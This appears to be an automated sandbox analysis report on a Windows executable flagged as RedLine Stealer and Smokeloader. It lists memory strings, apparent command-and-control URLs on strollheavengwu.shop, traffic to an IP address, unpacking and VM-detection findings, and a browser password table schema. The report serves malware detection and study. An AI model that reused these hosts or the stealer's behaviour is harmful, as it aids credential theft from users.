Source: asbpKOngY0.exe, 00000000.00000003.1687959423.000000000544A000.00000004.00000800.00020000.00000000.sdmp, asbpKOngY0.exe, 00000000.00000003.1687828960.000000000545F000.00000004.00000800.00020000.00000000.sdmp, asbpKOngY0.exe, 00000000.00000003.1688037142.000000000544A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: asbpKOngY0.exe, 00000000.00000003.1715709456.0000000002DFC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: asbpKOngY0.exe, 00000000.00000003.1756771426.0000000002DE5000.00000004.00000020.00020000.00000000.sdmp, asbpKOngY0.exe, 00000000.00000002.1889873462.0000000002DE9000.00000004.00000020.00020000.00000000.sdmp, asbpKOngY0.exe, 00000000.00000002.1889739851.0000000002DB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://strollheavengwu.shop/
Source: asbpKOngY0.exe, 00000000.00000003.1756771426.0000000002DE5000.00000004.00000020.00020000.00000000.sdmp, asbpKOngY0.exe, 00000000.00000002.1889873462.0000000002DE9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://strollheavengwu.shop/api
Source: asbpKOngY0.exe, 00000000.00000003.1756771426.0000000002DE5000.00000004.00000020.00020000.00000000.sdmp, asbpKOngY0.exe, 00000000.00000002.1889873462.0000000002DE9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://strollheavengwu.shop/api7bu
Source: asbpKOngY0.exe, 00000000.00000003.1756771426.0000000002DE5000.00000004.00000020.00020000.00000000.sdmp, asbpKOngY0.exe, 00000000.00000002.1889873462.0000000002DE9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://strollheavengwu.shop/apiC
Source: asbpKOngY0.exe, 00000000.00000003.1756771426.0000000002DE5000.00000004.00000020.00020000.00000000.sdmp, asbpKOngY0.exe, 00000000.00000002.1889873462.0000000002DE9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://strollheavengwu.shop/apir
Source: asbpKOngY0.exe, 00000000.00000003.1756771426.0000000002DE5000.00000004.00000020.00020000.00000000.sdmp, asbpKOngY0.exe, 00000000.00000002.1889873462.0000000002DE9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://strollheavengwu.shop/apisE
Source: asbpKOngY0.exe, 00000000.00000003.1687374522.000000000548E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.microsof
Source: asbpKOngY0.exe, 00000000.00000003.1705903522.0000000005553000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: asbpKOngY0.exe, 00000000.00000003.1705903522.0000000005553000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: asbpKOngY0.exe, 00000000.00000003.1687374522.000000000548C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: asbpKOngY0.exe, 00000000.00000003.1687374522.000000000548C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: asbpKOngY0.exe, 00000000.00000003.1714612202.0000000002DF8000.00000004.00000020.00020000.00000000.sdmp, asbpKOngY0.exe, 00000000.00000003.1723937416.0000000002DFB000.00000004.00000020.00020000.00000000.sdmp, asbpKOngY0.exe, 00000000.00000003.1715709456.0000000002DFC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: asbpKOngY0.exe, 00000000.00000003.1687959423.000000000544A000.00000004.00000800.00020000.00000000.sdmp, asbpKOngY0.exe, 00000000.00000003.1687828960.000000000545F000.00000004.00000800.00020000.00000000.sdmp, asbpKOngY0.exe, 00000000.00000003.1688037142.000000000544A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: asbpKOngY0.exe, 00000000.00000003.1714612202.0000000002DF8000.00000004.00000020.00020000.00000000.sdmp, asbpKOngY0.exe, 00000000.00000003.1723937416.0000000002DFB000.00000004.00000020.00020000.00000000.sdmp, asbpKOngY0.exe, 00000000.00000003.1715709456.0000000002DFC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: asbpKOngY0.exe, 00000000.00000003.1687959423.000000000544A000.00000004.00000800.00020000.00000000.sdmp, asbpKOngY0.exe, 00000000.00000003.1687828960.000000000545F000.00000004.00000800.00020000.00000000.sdmp, asbpKOngY0.exe, 00000000.00000003.1688037142.000000000544A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: asbpKOngY0.exe, 00000000.00000003.1705903522.0000000005553000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: asbpKOngY0.exe, 00000000.00000003.1705903522.0000000005553000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: asbpKOngY0.exe, 00000000.00000003.1705903522.0000000005553000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: asbpKOngY0.exe, 00000000.00000003.1705903522.0000000005553000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: asbpKOngY0.exe, 00000000.00000003.1705903522.0000000005553000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734

Source: unknown	HTTPS traffic detected: 172.67.163.209:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.163.209:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.163.209:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.163.209:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.163.209:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.163.209:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.163.209:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.163.209:443 -> 192.168.2.4:49737 version: TLS 1.2

Source: C:\Users\user\Desktop\asbpKOngY0.exe

Code function: 0_2_0042C500 GetWindowInfo,OpenClipboard,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

0_2_0042C500

Source: C:\Users\user\Desktop\asbpKOngY0.exe

Code function: 0_2_0042C500 GetWindowInfo,OpenClipboard,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

0_2_0042C500

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000000.00000002.1889716218.0000000002D17000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000000.00000002.1890022317.0000000002FD0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown

Source: C:\Users\user\Desktop\asbpKOngY0.exe	Code function: 0_2_00432010	0_2_00432010
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Code function: 0_2_004204B7	0_2_004204B7
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Code function: 0_2_00404740	0_2_00404740
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Code function: 0_2_00420CA0	0_2_00420CA0
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Code function: 0_2_00406030	0_2_00406030
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Code function: 0_2_00403260	0_2_00403260
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Code function: 0_2_004052F0	0_2_004052F0
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Code function: 0_2_004065F0	0_2_004065F0
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Code function: 0_2_004345F0	0_2_004345F0
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Code function: 0_2_0040F690	0_2_0040F690
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Code function: 0_2_004397D0	0_2_004397D0
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Code function: 0_2_0042594F	0_2_0042594F
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Code function: 0_2_004259D2	0_2_004259D2
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Code function: 0_2_00431A70	0_2_00431A70
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Code function: 0_2_0041CAEC	0_2_0041CAEC
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Code function: 0_2_00439AF0	0_2_00439AF0
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Code function: 0_2_00407CB0	0_2_00407CB0
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Code function: 0_2_00403D70	0_2_00403D70
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Code function: 0_2_00402E70	0_2_00402E70
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Code function: 0_2_02FD6297	0_2_02FD6297
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Code function: 0_2_02FD1267	0_2_02FD1267
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Code function: 0_2_02FD30D7	0_2_02FD30D7
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Code function: 0_2_02FD34C7	0_2_02FD34C7
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Code function: 0_2_02FD55DB	0_2_02FD55DB
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Code function: 0_2_03009A37	0_2_03009A37
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Code function: 0_2_02FF5BB6	0_2_02FF5BB6
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Code function: 0_2_02FDF8F7	0_2_02FDF8F7
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Code function: 0_2_02FDF824	0_2_02FDF824
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Code function: 0_2_03004857	0_2_03004857
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Code function: 0_2_02FD49A7	0_2_02FD49A7
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Code function: 0_2_02FD3FD7	0_2_02FD3FD7
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Code function: 0_2_02FD7F17	0_2_02FD7F17
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Code function: 0_2_02FF0F07	0_2_02FF0F07
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Code function: 0_2_03009D57	0_2_03009D57
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Code function: 0_2_02FF5C39	0_2_02FF5C39
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Code function: 0_2_03001CD7	0_2_03001CD7

Source: C:\Users\user\Desktop\asbpKOngY0.exe	Code function: String function: 02FD8F97 appears 168 times
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Code function: String function: 02FD8967 appears 48 times
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Code function: String function: 00408D30 appears 168 times
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Code function: String function: 00408700 appears 47 times

Source: C:\Users\user\Desktop\asbpKOngY0.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 4040 -s 1488

Source: asbpKOngY0.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 00000000.00000002.1889716218.0000000002D17000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000000.00000002.1890022317.0000000002FD0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@2/5@1/1

Source: C:\Users\user\Desktop\asbpKOngY0.exe

Code function: 0_2_02D18196 CreateToolhelp32Snapshot,Module32First,

0_2_02D18196

Source: C:\Users\user\Desktop\asbpKOngY0.exe

Code function: 0_2_00429597 CoCreateInstance,

0_2_00429597

Source: C:\Windows\SysWOW64\WerFault.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess4040

Source: C:\Windows\SysWOW64\WerFault.exe

File created: C:\ProgramData\Microsoft\Windows\WER\Temp\be7fe674-f2b2-4d0b-b3e5-8a964797bb6e

Jump to behavior

Source: asbpKOngY0.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\asbpKOngY0.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: asbpKOngY0.exe, 00000000.00000003.1687475382.0000000005464000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: asbpKOngY0.exe

ReversingLabs: Detection: 28%

Source: C:\Users\user\Desktop\asbpKOngY0.exe

File read: C:\Users\user\Desktop\asbpKOngY0.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\asbpKOngY0.exe "C:\Users\user\Desktop\asbpKOngY0.exe"
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 4040 -s 1488

Source: C:\Users\user\Desktop\asbpKOngY0.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: C:\Users\user\Desktop\asbpKOngY0.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\asbpKOngY0.exe

Unpacked PE file: 0.2.asbpKOngY0.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.reloc:R;

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\asbpKOngY0.exe

Unpacked PE file: 0.2.asbpKOngY0.exe.400000.0.unpack

Source: C:\Users\user\Desktop\asbpKOngY0.exe

Code function: 0_2_0043FBE7 push ecx; iretd

0_2_0043FBE8

Source: C:\Users\user\Desktop\asbpKOngY0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\asbpKOngY0.exe

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Users\user\Desktop\asbpKOngY0.exe TID: 1516	Thread sleep time: -180000s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\asbpKOngY0.exe TID: 4944	Thread sleep time: -30000s >= -30000s			Jump to behavior

Source: Amcache.hve.3.dr	Binary or memory string: VMware
Source: Amcache.hve.3.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.3.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.3.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.3.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.3.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.3.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.3.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: asbpKOngY0.exe, 00000000.00000002.1889739851.0000000002D8E000.00000004.00000020.00020000.00000000.sdmp, asbpKOngY0.exe, 00000000.00000002.1889739851.0000000002D43000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Amcache.hve.3.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.3.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Amcache.hve.3.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.3.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.3.dr	Binary or memory string: vmci.sys
Source: Amcache.hve.3.dr	Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: Amcache.hve.3.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.3.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.3.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.3.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.3.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.3.dr	Binary or memory string: NECVMWar VMware SATA CD00
